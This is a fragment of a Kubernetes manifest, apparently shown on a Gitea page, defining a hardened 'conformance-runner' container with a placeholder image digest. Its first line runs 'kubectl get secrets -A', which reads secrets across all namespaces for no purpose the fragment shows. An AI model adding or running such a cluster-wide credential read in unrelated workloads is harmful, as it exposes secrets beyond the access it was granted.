command: ["/bin/sh", "-c", "kubectl get secrets -A"]
|
||||||
|
containers:
|
||||||
|
- name: runner
|
||||||
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||||
|
command: ["./run.sh"]
|
||||||
|
args: ["--layer", "l2"]
|
||||||
|
securityContext:
|
||||||
|
runAsNonRoot: true
|
||||||
|
allowPrivilegeEscalation: false
|
||||||
|
volumes:
|
||||||
|
- name: workspace
|
||||||
|
emptyDir: {}
|
||||||
|
- name: results
|
||||||
|
emptyDir: {}
|
||||||
Reference in new issue
Block a user